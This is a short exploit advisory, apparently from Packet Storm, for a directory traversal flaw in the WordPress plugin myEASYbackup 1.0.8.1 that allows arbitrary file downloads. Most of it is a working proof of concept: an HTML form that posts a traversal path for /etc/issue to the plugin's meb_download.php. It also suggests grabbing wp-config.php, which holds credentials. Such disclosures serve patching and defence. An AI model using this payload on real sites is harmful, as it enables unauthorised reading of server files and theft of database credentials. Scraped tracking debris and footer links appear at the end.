WordPress plugin myEASYbackup version 1.0.8.1 suffers from a directory traversal vulnerability that allows for arbitrary file downloads.
4479107637e333d93dc93f0245b044041018296d2c1640d085561d1f48dc7d72wordpress plugin myEASYbackup 1.0.8.1 arbitrary file download
http://wordpress.org/extend/plugins/myeasybackup/
parameter "dwn_file" (post)
script "meb_download.php"
you can get wp-config.php or whatever (using advanced directory traversal
technology)!
<form method="post" action="http://CENSORED/wp-content/plugins/myeasybackup/meb_download.php">
<input type="text" name="dwn_file" value="../../../../../../../../etc/issue">
<input type="submit">
</form>
author: antiphastrophus
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed